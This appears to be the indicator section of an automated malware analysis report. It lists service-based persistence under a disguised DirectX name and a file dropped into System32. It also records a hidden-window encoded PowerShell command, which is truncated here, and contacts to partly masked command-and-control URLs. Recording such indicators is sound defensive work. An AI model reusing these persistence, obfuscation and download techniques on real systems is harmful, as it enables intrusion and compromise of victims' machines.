Technical Information
- [<HKLM>\System\CurrentControlSet\Services\d3dx10_38] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dx10_38] 'ImagePath' = '"<SYSTEM32>\actxprxy\d3dx10_38.exe"'
- 'd3dx10_38' "<SYSTEM32>\actxprxy\d3dx10_38.exe"
- 'd3dx10_38' <SYSTEM32>\actxprxy\d3dx10_38.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAGUAaABuAHYANQBsAD0AKAAoACcAWQAnACsAJwBnAG4AJwApACsAJwB2AHAAJwArACcAaQBvACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAUgBwAFIAbwBmAGkAbABFAFwARQBpADEAcwBKAD...
- %HOMEPATH%\ei1sj5c\z2_iglc\eq8gukev.exe
- <SYSTEM32>\actxprxy\d3dx10_38.exe
- from %HOMEPATH%\ei1sj5c\z2_iglc\eq8gukev.exe to <SYSTEM32>\actxprxy\d3dx10_38.exe
- '11#.2.218.1':80
- http://co##ub.de/cgi-bin/qgi3ncv70163850/
- http://11#.2.218.1/bcSL8/wYmyU0sMFImFpx/utGCwg861GyYn/I4t906/FBcD6UUALMAg7IYRu/JVSdKwPH2X/
- DNS ASK co##ub.de
- '%HOMEPATH%\ei1sj5c\z2_iglc\eq8gukev.exe'
- '<SYSTEM32>\actxprxy\d3dx10_38.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABCAGUAaABuAHYANQBsAD0AKAAoACcAWQAnACsAJwBnAG4AJwApACsAJwB2AHAAJwArACcAaQBvACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAUgBwAFIAbwBmAGkAbABFAFwARQBpADEAcwBKAD...' (with hidden window)